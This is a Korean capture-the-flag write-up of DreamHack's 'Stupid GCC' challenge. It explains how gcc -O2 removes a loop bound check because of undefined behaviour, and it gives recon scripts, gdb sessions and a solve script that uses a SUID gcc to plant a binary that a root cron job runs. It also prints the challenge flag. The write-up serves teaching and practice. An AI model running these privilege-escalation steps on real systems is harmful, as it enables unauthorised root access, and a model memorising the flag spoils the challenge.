[🥉 Bronze 2] SUID gcc 와 사라진 상한 검사 — DreamHack Stupid GCC 풀이

2026-08-12·1분 읽기·

[🥉 Bronze 2] SUID gcc 와 사라진 상한 검사 — DreamHack Stupid GCC 풀이

홈 디렉토리에 쓸 권한이 없는데 root 는 그 안의 a.out 을 10초마다 실행한다. SUID 가 붙은 gcc 가 대신 파일을 써 주고, 배열 첨자가 만든 미정의 동작 때문에 gcc -O2 가 루프의 상한 검사를 통째로 지운다. 두 관문을 이어 붙여 /flag.txt 를 읽어냈다.

문제: DreamHack — Stupid GCC 분류: pwnable · misc 난이도: 🥉 Bronze 2 FLAG: DH{49C66D3ED286B08FCD82C656E8}

문제 이름이 답의 절반을 알려준다. 나머지 절반은 서버에 들어가야 보인다.


문제 개요

항목내용
문제명Stupid GCC
난이도🥉 Bronze 2
분류pwnable · misc
제공 파일a.c 617바이트, 딱 한 개
접속SSH — stupid_gcc / 1234
핵심 취약점배열 첨자가 만든 미정의 동작 → 컴파일러가 상한 검사를 삭제
함께 필요한 것SUID 가 붙은 /usr/bin/gcc

문제 설명은 두 줄이 전부다.

root 사용자가 10초에 한번씩 /home/stupid_gcc/a.out 을 실행합니다 !

(ssh id : stupid_gcc, pw : 1234)

풀이 흐름은 이렇다. 서버에 들어가 보면 /home/stupid_gcc 는 우리 소유가 아니라 아무것도 쓸 수 없는데, /usr/bin/gcc 에 SUID 가 붙어 있어 gcc 를 시키면 그 자리에 산출물을 써 준다. 거기까지 가면 두 번째 문제가 남는다 — 주어진 a.c 를 그냥 컴파일해 넣으면 플래그를 복사하는 분기까지 가지 못한다. -O2 로 빌드해야 간다.



🧩 배경 — a.c 를 손으로 따라가 본다

받은 파일은 이것 하나다.

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
 
int main() {
    uint8_t v1 = 0;
    int v2 = 0;
    char v3[31];
    uint16_t v4[10]={0,};
 
    while (v4[v1] < UINT16_MAX && v1 < 10) {
        v1++;
        printf("v4[%d]: %p\n", v1, &v4[v1]);
        v2 += v1;
 
        if (v2 > 10000) {
            FILE *fp = fopen("/flag.txt", "r");
            fgets(v3, 31, fp);
            fclose(fp);
 
            fp = fopen("/home/stupid_gcc/flag.txt", "w");
            fwrite(v3, 31, 1, fp);
            fclose(fp);
            return 0;
        }
    }
    return 0;
}

목표는 v2 > 10000 이다. 그 안에서 root 만 읽을 수 있는 /flag.txt 를 우리 홈으로 복사해 준다.

그런데 소스만 보면 절대 도달하지 않는다. 루프 조건에 v1 < 10 이 있고 v1 은 몸통에서 한 번씩 증가하니 최대 10바퀴다. v2 는 1+2+…+10 = 55 에서 멈춘다. 55 는 10000 과 한참 멀다.

v4 는 uint16_t v4[10] 이고 = {0,} 로 전부 0 이니 첫 번째 조건 v4[v1] < UINT16_MAX 는 계속 참이다. 즉 루프를 끝내는 건 오로지 v1 < 10 이다.

여기서 이상한 점이 하나 있다. 두 조건의 순서다. v4[v1] 을 먼저 읽고 나서 v1 < 10 을 확인한다. v1 == 10 인 순간에도 v4[10] 을 한 번 읽고 나서야 루프를 빠져나간다는 뜻이다. 배열은 인덱스 9 까지인데.

이 순서가 나중에 전부를 뒤집는다.


🔬 정찰 — 서버에서 내가 뭘 할 수 있나

일단 들어가 본다. 계정 정보는 문제 설명에 있다.

#!/bin/bash
# 문제 서버 1차 정찰 — 우리는 누구고, 어디에 쓸 수 있나.
# 사용법: ./recon_server.sh <host> <port>
HOST="${1:-host3.dreamhack.games}"; PORT="${2:-18895}"
sshpass -p 1234 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
  -o LogLevel=ERROR -o PubkeyAuthentication=no -o IdentitiesOnly=yes \
  -o PreferredAuthentications=password -p "$PORT" "stupid_gcc@$HOST" '
    echo "[1] 내 신원";              id
    echo "[2] 홈 디렉토리 소유자";    ls -ldn /home/stupid_gcc
    echo "[3] 여기에 쓸 수 있나";     touch /home/stupid_gcc/probe 2>&1 | head -1
    echo "[4] 문제 소스";            ls -l /home/stupid_gcc/a.c
    echo "[5] 플래그 원본";          ls -l /flag.txt
    echo "[6] uid 1001 은 누구";      grep :1001: /etc/passwd
'
./recon_server.sh host3.dreamhack.games 18895
recon_server.sh 실행 결과 — 우리는 uid 1000 stupid_gcc 인데 홈 디렉토리 /home/stupid_gcc 의 소유자는 uid 1001 이고 touch 는 Permission denied 로 거부된다
recon_server.sh 실행 결과 — 우리는 uid 1000 stupid_gcc 인데 홈 디렉토리 /home/stupid_gcc 의 소유자는 uid 1001 이고 touch 는 Permission denied 로 거부된다

ssh 옵션이 길어 보이는데 이유가 있다. 그냥 sshpass -p 1234 ssh … 로 붙으면 Too many authentication failures 로 끊긴다. 내 PC 에 등록해 둔 SSH 키를 클라이언트가 전부 먼저 던지는 바람에, 비밀번호 차례가 오기 전에 서버의 시도 횟수 제한에 걸리는 것이다. PubkeyAuthentication=no 로 키를 아예 빼야 비밀번호까지 간다.

출력에서 세 가지가 걸린다.

첫째, 홈이 내 것이 아니다. /home/stupid_gcc 의 소유자는 uid 1001, 즉 anonymous 다. 권한은 drwxr-xr-x 라 소유자만 쓴다. 실제로 touch 가 거부됐다.

둘째, a.out 이 없다. 처음 붙었을 때 디렉토리에 있는 건 a.c 하나뿐이었다. root 가 10초마다 실행한다는 그 파일이 아직 존재하지 않는다. 즉 우리가 만들어 넣어야 한다.

(위 캡쳐는 풀이를 끝낸 뒤 다시 찍은 것이라 a.c 의 존재까지만 보여준다. 이미 a.out 과 flag.txt 를 만들어 버린 뒤라 "비어 있던 처음 상태"는 같은 서버에서 다시 재현할 수 없다. 대신 -O0 과 -O2 의 차이는 뒤에서 도커로 통째로 재현한다.)

셋째, /flag.txt 는 권한이 ---------- 이다. 소유자 root 조차 명시적 권한이 없지만 root 는 권한 검사를 우회하니 읽을 수 있다. 우리는 못 읽는다.

정리하면 이렇다. root 는 /home/stupid_gcc/a.out 을 실행해 주는데, 그 파일을 놓을 자리에 우리는 쓸 수가 없다.

▶🐛 삽질 1 — 그냥 파일을 만들어 넣으려다 막혔다

처음엔 문제를 너무 쉽게 봤다. root 가 우리 홈의 a.out 을 실행해 준다니, a.c 같은 건 무시하고 /flag.txt 를 그대로 뱉는 프로그램을 써 넣으면 끝 아닌가 싶었다.

touch 한 번에 끝났다.

touch: /home/stupid_gcc/probe: Permission denied

ls -ldn 을 보고 나서야 이유를 알았다. 홈 디렉토리 이름은 stupid_gcc 인데 소유자는 uid 1001(anonymous)이다. 이름만 우리 홈이지 우리 것이 아니다. 디렉토리에 쓰기 권한이 없으면 파일 생성·삭제·이름변경이 전부 막힌다.

/tmp 에 만들어 두고 심볼릭 링크를 걸어 볼까도 생각했는데, 링크를 만드는 것 자체가 그 디렉토리에 쓰는 일이라 똑같이 막힌다. 우회로가 아니라 같은 벽이다.



💣 첫 번째 관문 — 나 대신 써 줄 놈을 찾는다

디렉토리에 못 쓰면, 그 디렉토리에 쓸 수 있는 프로그램을 시키면 된다. SUID 가 붙은 실행 파일을 찾아본다.

#!/bin/bash
# 쓰기 권한이 없는데 어떻게 a.out 을 심나 — SUID 비트와 root 크론을 찾는다.
# grep 패턴의 대괄호는 자기 자신을 잡지 않게 하는 관용구다.
# 사용법: ./recon_suid.sh <host> <port>
HOST="${1:-host3.dreamhack.games}"; PORT="${2:-18895}"
sshpass -p 1234 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
  -o LogLevel=ERROR -o PubkeyAuthentication=no -o IdentitiesOnly=yes \
  -o PreferredAuthentications=password -p "$PORT" "stupid_gcc@$HOST" '
    echo "[1] SUID/SGID 가 붙은 것"; find / -perm -4000 -o -perm -2000 2>/dev/null
    echo "[2] gcc 의 실제 권한";     ls -l /usr/bin/gcc
    echo "[3] gcc 버전";            gcc --version | head -1
    echo "[4] root 가 10초마다 돌리는 것"; ps aux | grep "[s]tupid_gcc/a.out"
'
./recon_suid.sh host3.dreamhack.games 18895
recon_suid.sh 실행 결과 — find 로 찾은 SUID 목록에 /usr/bin/gcc 가 들어 있고 권한이 rwsr-xr-x anonymous anonymous 이며 root 크론이 sleep 후 a.out 을 실행한다
recon_suid.sh 실행 결과 — find 로 찾은 SUID 목록에 /usr/bin/gcc 가 들어 있고 권한이 rwsr-xr-x anonymous anonymous 이며 root 크론이 sleep 후 a.out 을 실행한다

/usr/bin/gcc 의 권한이 -rwsr-xr-x anonymous anonymous 다. 소유자 실행 비트 자리가 x 가 아니라 s — SUID 다. 그리고 소유자가 root 가 아니라 anonymous, 바로 /home/stupid_gcc 를 소유한 그 uid 1001 이다.

문제 이름을 다시 본다. Stupid GCC. 멍청한 건 컴파일러가 아니라 컴파일러에 SUID 를 붙여 둔 쪽이다.

SUID 실행 파일은 실행한 사람이 누구든 소유자의 권한으로 돈다. 우리가 gcc 를 부르면 gcc 의 유효 uid 는 1001 이 된다. gcc 는 자기가 만든 오브젝트를 파일로 써야 하고, -o 로 어디에 쓸지는 우리가 정한다.

gcc -O2 /home/stupid_gcc/a.c -o /home/stupid_gcc/a.out

우리는 그 디렉토리에 못 쓰지만 gcc 는 쓴다. 첫 번째 관문은 이걸로 끝이다.

ps 출력도 같이 보인다. root 가 sleep 10; /home/stupid_gcc/a.out, sleep 20; … 을 물고 있다. /etc/crontabs/root 자체는 우리 권한으로 못 읽지만, sleep 초 수가 10·20·30·40 으로 줄지어 있는 걸 보면 1분 주기 항목 하나를 쪼개 10초 간격을 만든 구조로 보인다. 어느 쪽이든 우리가 a.out 을 놓아두면 늦어도 10초 안에 root 가 실행한다.



💣 두 번째 관문 — 그냥 컴파일하면 안 된다

이제 a.c 를 컴파일해 넣으면 되는데, 앞에서 봤듯이 소스대로면 루프는 10바퀴에서 끝나고 v2 는 55 에 그친다. 정말 그런지 최적화 레벨을 바꿔 가며 직접 세어 본다.

#!/bin/bash
# 같은 a.c 를 최적화 레벨만 바꿔 빌드하고, 루프가 몇 번 도는지 센다.
# 로컬엔 /flag.txt 가 없으므로 플래그 분기에 도달하면 fopen 이 NULL 을 주고 fgets 에서 SIGSEGV(139) 가 난다.
# 즉 "종료코드 139" 가 곧 '플래그 분기까지 갔다' 는 신호다.
cd "$(dirname "$0")"
printf '%-6s %-8s %-9s %s\n' OPT 빌드 종료코드 "printf 출력 줄수(=루프 반복)"
for OPT in -O0 -O1 -O2 -O3 -Os; do
  gcc $OPT a.c -o "bin$OPT" 2>/dev/null
  stdbuf -o0 "./bin$OPT" > "log$OPT.txt" 2>&1
  rc=$?
  printf '%-6s %-8s %-9s %s\n' "$OPT" ok "$rc" "$(wc -l < "log$OPT.txt")"
done
echo
echo "-O2 로그의 마지막 3줄:"
tail -3 log-O2.txt
echo "1+2+...+141 =" $(( 141 * 142 / 2 ))
./build_matrix.sh
build_matrix.sh 실행 결과 — gcc -O0 과 -O1 은 루프가 10회에서 끝나지만 -O2 -O3 -Os 는 142줄까지 출력하고 종료코드 1 로 죽으며 1+2+...+141 이 10011 임을 보여준다
build_matrix.sh 실행 결과 — gcc -O0 과 -O1 은 루프가 10회에서 끝나지만 -O2 -O3 -Os 는 142줄까지 출력하고 종료코드 1 로 죽으며 1+2+...+141 이 10011 임을 보여준다

-O0 과 -O1 은 예상대로 10줄에서 끝난다. -O2 부터는 142줄이다. 그리고 정상 종료가 아니라 죽는다.

죽는 이유는 단순하다. 로컬 PC 에는 /flag.txt 가 없어서 fopen 이 NULL 을 돌려주고, 소스는 반환값을 확인하지 않은 채 fgets(v3, 31, NULL) 을 호출한다. 즉 이 크래시가 곧 "플래그 분기까지 도달했다"는 증거다.

마지막 줄이 v4[141] 인 것도 정확히 맞는다. 1+2+…+141 = 10011 로 처음 10000 을 넘기는 지점이 141 이다.

-O2 부터 무언가 달라진다. 디스어셈블해서 확인한다.

최적화 없이 빌드했을 때

#!/bin/bash
# gcc -O0 로 빌드한 main 의 끝부분 = while 문의 조건 검사
cd "$(dirname "$0")"
objdump -d --no-show-raw-insn -M intel a_O0 | sed -n '/<main>:/,/^$/p' | tail -16 | sed -f annot_o0.sed

주석은 sed 규칙 파일로 얹었다. 출력 자체는 objdump 원본 그대로다.

s/movzx  eax,BYTE PTR \[rbp-0x5d\]/&    <-- v1 을 8비트로 잘라서 읽는다/
s/movzx  eax,WORD PTR \[rbp+rax\*2-0x50\]/&  <-- v4[v1] 로드/
s/cmp    ax,0xffff/&                       <-- 조건 1: v4[v1] < UINT16_MAX/
s/cmp    BYTE PTR \[rbp-0x5d\],0x9/&    <-- 조건 2: v1 < 10  (그대로 남아 있다)/
./disasm_o0.sh
objdump -d 로 본 gcc -O0 빌드의 main 끝부분 — cmp ax,0xffff 로 v4 값을 보고 이어서 cmp BYTE PTR rbp-0x5d,0x9 로 v1 < 10 을 검사하는 명령이 그대로 남아 있다
objdump -d 로 본 gcc -O0 빌드의 main 끝부분 — cmp ax,0xffff 로 v4 값을 보고 이어서 cmp BYTE PTR rbp-0x5d,0x9 로 v1 < 10 을 검사하는 명령이 그대로 남아 있다

소스와 1:1 로 대응한다. movzx eax, BYTE PTR [rbp-0x5d] 로 v1 을 8비트로 읽고, v4[v1] 을 불러 0xffff 와 비교하고, 그다음 cmp BYTE PTR [rbp-0x5d], 0x9 / jbe 로 v1 < 10 을 검사한다. 두 조건이 모두 있다.

-O2 로 빌드했을 때

#!/bin/bash
# gcc -O2 로 빌드한 main 의 루프 본체 + 조건 검사
cd "$(dirname "$0")"
objdump -d --no-show-raw-insn -M intel a_O2 | sed -n '/<main>:/,/^$/p' | sed -n '1p;6,30p' | sed -f annot_o2.sed
s/add    r12d,ebp/&                        <-- v2 += v1/
s/add    rbx,0x2/&                        <-- 읽을 위치가 2바이트씩 위로/
s/add    rbp,0x1/&                        <-- v1++ 를 64비트 rbp 로. 8비트 절단이 없다/
s/cmp    r12d,0x2710/&                    <-- v2 > 10000 인가/
s/cmp    WORD PTR \[rbx-0x2\],0xffff/&    <-- 남은 조건은 이것 하나. v1 < 10 이 없다/
./disasm_o2.sh
objdump -d 로 본 gcc -O2 빌드의 main 루프 — 조건 검사가 cmp WORD PTR rbx-0x2,0xffff 하나만 남고 v1 < 10 비교가 사라졌으며 v1 은 64비트 rbp 로 증가한다
objdump -d 로 본 gcc -O2 빌드의 main 루프 — 조건 검사가 cmp WORD PTR rbx-0x2,0xffff 하나만 남고 v1 < 10 비교가 사라졌으며 v1 은 64비트 rbp 로 증가한다

루프 전체에서 9 나 10 과 비교하는 명령이 하나도 없다. 남은 조건 분기는 cmp WORD PTR [rbx-0x2], 0xffff 뿐이다.

v1 < 10 이 컴파일 결과에서 사라졌다.

왜 이렇게 되냐면, C 표준에서 v4[v1] 은 v1 이 배열 범위 안일 때만 정의된 동작이기 때문이다. 범위를 벗어나면 미정의 동작이고, 컴파일러는 미정의 동작이 일어나지 않는다고 가정해도 된다. 즉 v4[v1] 을 본 순간 gcc 는 "여기 도달했다는 건 v1 이 10 미만이라는 뜻"이라고 결론짓는다. 그렇다면 뒤이어 나오는 v1 < 10 은 항상 참이고, 항상 참인 조건은 지워도 된다.

지운 뒤에 하나가 더 따라온다. v1 은 uint8_t 라 원래는 255 다음에 0 으로 되돌아가야 하는데, gcc 는 v1 이 10 을 못 넘는다고 믿으므로 되돌아갈 일도 없다고 판단한다. 그래서 8비트로 잘라 두지 않고 64비트 rbp 에 그대로 담아 add rbp, 0x1 로 올린다. 배열 접근도 인덱스 계산 대신 포인터 rbx 를 add rbx, 0x2 로 밀어 올리는 형태가 됐다.

정리하면 -O2 로 빌드한 루프는 이렇게 동작한다.

// gcc -O2 가 실제로 만든 것에 가까운 형태
uint16_t *p = &v4[0];
long i = 1;
while (*p != 0xffff) {          // v1 < 10 은 없다
    printf("v4[%ld]: %p\n", i, p + 1);
    v2 += i;
    if (v2 > 10000) { /* 플래그 복사 */ }
    p++; i++;                    // 랩어라운드도 없다
}

첨자 하나가 조건 하나를 지웠고, 그 조건이 지워지자 자료형의 폭까지 사라졌다.



🧱 그럼 루프는 어디서 멈추나

상한 검사가 없으니 이제 루프를 끝낼 수 있는 건 v4[v1] 이 0xffff 가 되는 것뿐이다. 그런데 v4 는 10칸짜리 배열이니, 그 너머는 스택에 있는 다른 값들을 2바이트씩 읽는 셈이다.

main 스택 프레임 다이어그램 — v4 배열 20바이트 위로 v3 버퍼와 카나리 저장된 rbx rbp r12 복귀주소가 쌓여 있고 루프가 2바이트씩 위로 읽어 올라가는 흐름
main 스택 프레임 다이어그램 — v4 배열 20바이트 위로 v3 버퍼와 카나리 저장된 rbx rbp r12 복귀주소가 쌓여 있고 루프가 2바이트씩 위로 읽어 올라가는 흐름

v1 이 141 에 닿을 때 읽는 위치는 v4 로부터 282바이트 위다. main 의 프레임(0x68 = 104바이트)을 한참 넘어 argv·환경변수 문자열 영역까지 올라간다. 그 사이 어디에도 0xffff 인 halfword 가 없어야 플래그 분기까지 간다.

실제로 어떤지 gdb 로 멈춰 세워 본다. 조건부 브레이크포인트를 걸어 v1 이 45 가 되는 순간을 잡았다.

set pagination off
set confirm off
set debuginfod enabled off
# 루프 몸통(printf 호출부)에서 v1 이 45 가 되는 순간 멈춘다.
# 소스의 `v1 < 10` 이 살아 있다면 애초에 도달할 수 없는 값이다.
break *((char *)main + 0x40) if $rbp == 45
# 프로그램이 뿜는 printf 44 줄은 화면 대신 파일로 보낸다
run > loop_run.log
printf "\n=== v1 이 45 일 때의 상태 ===\n"
printf "v1  (rbp)    = %d\n", $rbp
printf "v2  (r12d)   = %d\n", $r12
printf "v4  (rsp)    = %p\n", $rsp
printf "v4[v1] (rbx) = %p  (v4 로부터 +%d 바이트)\n", $rbx, (long)$rbx - (long)$rsp
printf "\n=== v4 위쪽 스택을 uint16_t 로 본 것 (v4[0] 부터 49개) ===\n"
x/50xh $rsp
gdb -q -batch -x loop_state.gdb ./a_O2
gdb -batch 로 조건부 브레이크포인트를 걸어 확인한 런타임 상태 — v1 이 45 이고 읽는 위치는 v4 로부터 90바이트 위이며 스택 덤프에 0xffff halfword 가 보인다
gdb -batch 로 조건부 브레이크포인트를 걸어 확인한 런타임 상태 — v1 이 45 이고 읽는 위치는 v4 로부터 90바이트 위이며 스택 덤프에 0xffff halfword 가 보인다

v1 이 45 다. 소스의 v1 < 10 이 살아 있다면 나올 수 없는 값이니, 검사가 사라졌다는 게 정적 분석뿐 아니라 실행 중에도 확인된다.

그런데 덤프를 보면 문제가 하나 있다. v4 로부터 90바이트 위, 즉 v4[45] 자리에 0xffff 가 있다. 저장된 rbp 값 0x00007fffffffdee0 의 가운데 16비트다. gdb 안에서는 루프가 141 까지 못 가고 여기서 끊긴다.

▶🐛 삽질 2 — gdb 로 돌렸더니 45에서 끊겨서 방향을 잘못 잡은 줄 알았다

디스어셈블로 상한 검사가 사라진 걸 확인하고 신이 나서 gdb 를 붙였는데, 루프가 45바퀴 돌고 조용히 정상 종료했다. v2 는 1035 언저리, 플래그 분기 근처에도 못 갔다.

터미널에서 그냥 실행하면 141까지 가는데 gdb 안에서만 45에서 멈춘다. 처음엔 브레이크포인트가 뭔가 흐름을 바꿨나 싶어 브레이크포인트를 다 빼고 run 만 해 봤다. 똑같이 45였다.

원인은 스택 주소였다. gdb 는 디버깅 편의를 위해 기본적으로 주소 랜덤화를 끄고 프로그램을 띄운다. 그러면 스택이 항상 0x7ffffffff000 근처에 자리잡는다. 이 상태에서 스택에 저장된 포인터는 0x0000 7fff ffff xxxx 모양이 되고, 가운데 16비트가 정확히 0xffff 다. 루프는 그걸 종료 신호로 읽고 멈춘다.

랜덤화가 켜져 있으면 스택은 0x7ffc…, 0x7ffe… 같은 주소로 잡히므로 halfword 가 0xffff 가 되지 않는다. 그래서 실제 환경에서는 그냥 지나간다.

gdb 쪽만 실제 환경에 맞춰 주면 된다.

set disable-randomization off

디버거가 만든 인공적인 조건을 문제의 성질로 착각할 뻔했다.

랜덤화를 되살리고 fopen 에 브레이크포인트를 걸어 다시 확인한다.

set pagination off
set confirm off
set debuginfod enabled off
# gdb 는 기본으로 ASLR 을 끈다. 그러면 스택이 0x7fffffffxxxx 대에 고정돼
# 스택에 저장된 포인터 안에 0xffff halfword 가 생기고, 루프가 거기서 끊긴다.
# 실제 실행 환경과 맞추려면 랜덤화를 되살려야 한다.
set disable-randomization off
break fopen
# 프로그램이 뿜는 printf 141 줄은 화면 대신 파일로 보낸다
run > flag_branch_run.log
printf "\n=== fopen 이 불린 순간 ===\n"
printf "v1 (rbp)  = %d\n", $rbp
printf "v2 (r12d) = %d   <- 10000 을 넘겨 플래그 분기로 들어왔다\n", $r12
x/s $rdi
gdb -q -batch -x flag_branch.gdb ./a_O2
gdb -batch 로 ASLR 을 되살린 뒤 fopen 에 브레이크포인트를 건 결과 — v1 은 142 v2 는 10011 이고 fopen 의 첫 인자가 문자열 slash flag.txt 로 찍힌다
gdb -batch 로 ASLR 을 되살린 뒤 fopen 에 브레이크포인트를 건 결과 — v1 은 142 v2 는 10011 이고 fopen 의 첫 인자가 문자열 slash flag.txt 로 찍힌다

v1 = 142, v2 = 10011, 그리고 fopen 의 첫 인자가 "/flag.txt" 다. 플래그 분기에 정확히 들어왔다.

디버거를 붙이지 않은 맨 실행에서도 같은 일이 일어나는지 strace 로 한 번 더 본다.

#!/bin/bash
# 두 빌드가 /flag.txt 를 여는지 런타임으로 대조한다.
# 로컬엔 /flag.txt 가 없으므로 ENOENT 가 정상이다 — 중요한 건 "여는 시도를 했는가".
cd "$(dirname "$0")"
for OPT in O0 O2; do
  echo "--- gcc -$OPT ---"
  strace -e trace=openat "./a_$OPT" 2>&1 | grep -E 'flag\.txt|SIGSEGV|exited|\+\+\+' || echo "  /flag.txt 를 연 적이 없다"
done
./strace_cmp.sh
strace 로 openat 시스템콜만 추적한 대조 결과 — gcc -O0 빌드는 exited with 0 으로 끝나고 gcc -O2 빌드만 openat 으로 slash flag.txt 를 열려다 SIGSEGV 로 죽는다
strace 로 openat 시스템콜만 추적한 대조 결과 — gcc -O0 빌드는 exited with 0 으로 끝나고 gcc -O2 빌드만 openat 으로 slash flag.txt 를 열려다 SIGSEGV 로 죽는다

-O0 빌드는 /flag.txt 를 여는 시스템콜 자체가 없다. -O2 빌드만 openat(AT_FDCWD, "/flag.txt", O_RDONLY) 를 부른다. 로컬엔 파일이 없어 ENOENT 가 나고 그 NULL 을 그대로 fgets 에 넘겨 죽는 것까지 그대로 보인다.



🧪 서버에 손대기 전에 통째로 재현해 본다

여기까지는 "루프가 141바퀴 돈다"까지만 확인했다. 실제로 root 가 실행했을 때 플래그가 우리가 읽을 수 있는 형태로 떨어지는지는 아직 모른다. fwrite 로 만든 파일의 소유자와 권한이 어떻게 되는지에 달렸다.

문제 서버는 Alpine 이었으니 컨테이너로 같은 구조를 만들어 확인한다.

FROM ubuntu:22.04
 
RUN apt-get update && apt-get install -y --no-install-recommends gcc libc6-dev \
    && rm -rf /var/lib/apt/lists/*
 
RUN useradd -m -s /bin/bash stupid_gcc
COPY a.c /home/stupid_gcc/a.c
 
# 문제 서버를 흉내낸 로컬 플래그 (재현 전용 더미)
RUN echo 'DH{LOCAL_FAKE_FLAG_repro_only_000}' > /flag.txt \
    && chmod 600 /flag.txt && chown root:root /flag.txt
 
COPY run.sh /run.sh
RUN chmod +x /run.sh
CMD ["/run.sh"]

컨테이너 안에서 도는 시나리오는 이렇다. 일반 사용자가 컴파일하고, root 가 실행하고, 다시 일반 사용자로 읽어 본다.

#!/bin/bash
# 문제 시나리오 재현:
#   1) 일반 사용자(stupid_gcc)가 a.c 를 컴파일해 /home/stupid_gcc/a.out 을 만든다
#   2) root 가 그 a.out 을 실행한다
#   3) /home/stupid_gcc/flag.txt 가 생겼는지, 일반 사용자가 읽을 수 있는지 본다
set -u
cd /home/stupid_gcc
 
for OPT in -O0 -O2; do
  echo "==================== gcc ${OPT} ===================="
  rm -f /home/stupid_gcc/flag.txt /home/stupid_gcc/a.out
  su stupid_gcc -c "gcc ${OPT} /home/stupid_gcc/a.c -o /home/stupid_gcc/a.out 2>/dev/null"
 
  # root 가 10초마다 돌리는 그 실행
  timeout 10 /home/stupid_gcc/a.out > /tmp/run.log 2>&1
  echo "종료코드=$?  출력줄수=$(wc -l < /tmp/run.log)  마지막줄=$(tail -1 /tmp/run.log)"
 
  if [ -f /home/stupid_gcc/flag.txt ]; then
    echo "flag.txt 생성됨 -> $(ls -l /home/stupid_gcc/flag.txt)"
    echo "stupid_gcc 로 읽기: $(su stupid_gcc -c 'cat /home/stupid_gcc/flag.txt' 2>&1 | tr -d "\0")"
  else
    echo "flag.txt 없음 (플래그 분기에 도달하지 못함)"
  fi
  echo
done
docker build -t stupid-gcc-repro .
docker run --rm stupid-gcc-repro
도커 컨테이너 안에서 두 빌드를 대조한 재현 결과 — gcc -O0 은 10줄 출력 후 flag.txt 가 없고 gcc -O2 는 141줄 뒤 root 소유 0644 flag.txt 를 만들어 일반 사용자가 읽어낸다
도커 컨테이너 안에서 두 빌드를 대조한 재현 결과 — gcc -O0 은 10줄 출력 후 flag.txt 가 없고 gcc -O2 는 141줄 뒤 root 소유 0644 flag.txt 를 만들어 일반 사용자가 읽어낸다

대조가 깔끔하게 갈린다. -O0 으로 빌드한 a.out 은 root 가 실행해도 flag.txt 를 만들지 않는다. -O2 는 만든다.

만들어진 파일은 -rw-r--r-- root root 다. root 가 썼으니 소유자는 root 지만 others 에 읽기 권한이 붙어 있어 우리도 읽는다. fopen(…, "w") 이 새 파일을 만들 때 기본 모드가 0666 이고 컨테이너의 umask 022 를 거쳐 0644 가 된 것이다.

컨테이너 안 gcc 는 11.4 였고, 로컬 PC 의 15.2, 문제 서버의 Alpine 11.2.1 에서 전부 같은 결과가 나왔다. 특정 버전의 버그가 아니라 표준이 허용하는 최적화라는 뜻이다.

▶🐛 삽질 3 — 종료코드 139 를 보고 익스가 깨진 줄 알았다

-O2 빌드를 로컬에서 처음 돌렸을 때 화면에 아무것도 안 찍히고 종료코드만 139 가 나왔다. 세그멘테이션 폴트다.

한동안 최적화가 뭔가를 망가뜨렸다고 생각했다. 스택을 마구 읽으니 매핑되지 않은 영역까지 가서 죽는 거라고 넘겨짚었다.

두 가지가 겹친 착각이었다.

첫째, 출력이 아예 없었던 건 stdout 이 파일로 리다이렉트돼 전체 버퍼링이 걸렸기 때문이다. 죽으면서 버퍼가 flush 되지 않아 141줄이 통째로 사라졌다. stdbuf -o0 을 붙이니 그대로 다 나왔다.

둘째, 죽은 지점은 스택 읽기가 아니라 fgets 였다. 로컬에 /flag.txt 가 없으니 fopen 이 NULL 을 주는데 소스는 그걸 확인하지 않는다. strace 로 보면 openat 직후 si_addr=NULL 로 죽는 게 그대로 보인다.

즉 139 는 실패 신호가 아니라 성공 신호였다. 플래그 분기까지 갔다는 뜻이었으니까. 크래시를 보면 반사적으로 "망했다"고 읽는 버릇이 있는데, 어디서 왜 죽었는지부터 봐야 했다.



🚀 Full Exploit

두 관문을 이어 붙이면 끝이다. SUID gcc 로 -O2 빌드를 홈에 심고, root 크론이 돌 때까지 기다렸다가 떨어진 파일을 읽는다.

#!/bin/bash
# Stupid GCC (DreamHack, Bronze 2 / pwnable·misc) — 자동 풀이
#
# 관문이 둘이다.
#   1) 권한경계 — /home/stupid_gcc 는 uid 1001(anonymous) 소유라 우리(uid 1000)는 못 쓴다.
#      그런데 /usr/bin/gcc 가 -rwsr-xr-x anonymous:anonymous, 즉 SUID anonymous 다.
#      gcc 에게 `-o /home/stupid_gcc/a.out` 을 시키면 gcc 가 anonymous 권한으로 대신 써 준다.
#   2) 컴파일 최적화 — a.c 의 루프 조건은 `v4[v1] < UINT16_MAX && v1 < 10` 인데,
#      `v4[v1]` 접근 자체가 이미 v1 < 10 을 함의(아니면 UB)하므로 -O2 이상의 GCC 는
#      `v1 < 10` 검사를 통째로 지운다. 그래야 v1 이 141 까지 올라가 v2 = 10011 > 10000 이 되고
#      root 가 실행할 때 /flag.txt 가 /home/stupid_gcc/flag.txt 로 복사된다.
#      -O0 으로 빌드하면 10 회에서 끝나 flag.txt 가 생기지 않는다(도커 재현 참조).
#
# 사용법: ./solve.sh <host> <port>
set -u
HOST="${1:-host3.dreamhack.games}"
PORT="${2:-18895}"
 
SSH_OPTS=(-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR
          -o PubkeyAuthentication=no -o IdentitiesOnly=yes -o PreferredAuthentications=password)
run() { sshpass -p 1234 ssh "${SSH_OPTS[@]}" -p "$PORT" "stupid_gcc@$HOST" "$1"; }
 
echo "[1] SUID gcc 로 a.out 을 심는다 (우리 권한으로는 못 쓰는 자리)"
run 'gcc -O2 /home/stupid_gcc/a.c -o /home/stupid_gcc/a.out && ls -l /home/stupid_gcc/a.out'
 
echo "[2] root 크론(10초 주기)이 그걸 실행할 때까지 25초 기다린다"
run 'sleep 25; ls -l /home/stupid_gcc/flag.txt'
 
echo "[3] FLAG"
run 'cat /home/stupid_gcc/flag.txt'
./solve.sh host3.dreamhack.games 18895
solve.sh 로 라이브 서버를 공격한 결과 — SUID gcc 가 anonymous 소유로 a.out 을 만들고 25초 뒤 root 소유 flag.txt 가 생겨 플래그 문자열이 출력된다
solve.sh 로 라이브 서버를 공격한 결과 — SUID gcc 가 anonymous 소유로 a.out 을 만들고 25초 뒤 root 소유 flag.txt 가 생겨 플래그 문자열이 출력된다

a.out 의 소유자가 anonymous 로 찍힌다. 우리가 만든 게 아니라 SUID gcc 가 대신 만들어 준 파일이라는 표시다.

25초 뒤 flag.txt 가 root root 소유로 생겼고, others 읽기 권한 덕에 우리가 그대로 읽는다.

DH{49C66D3ED286B08FCD82C656E8}


📝 결론

첨자 하나가 조건 하나를 지웠다.

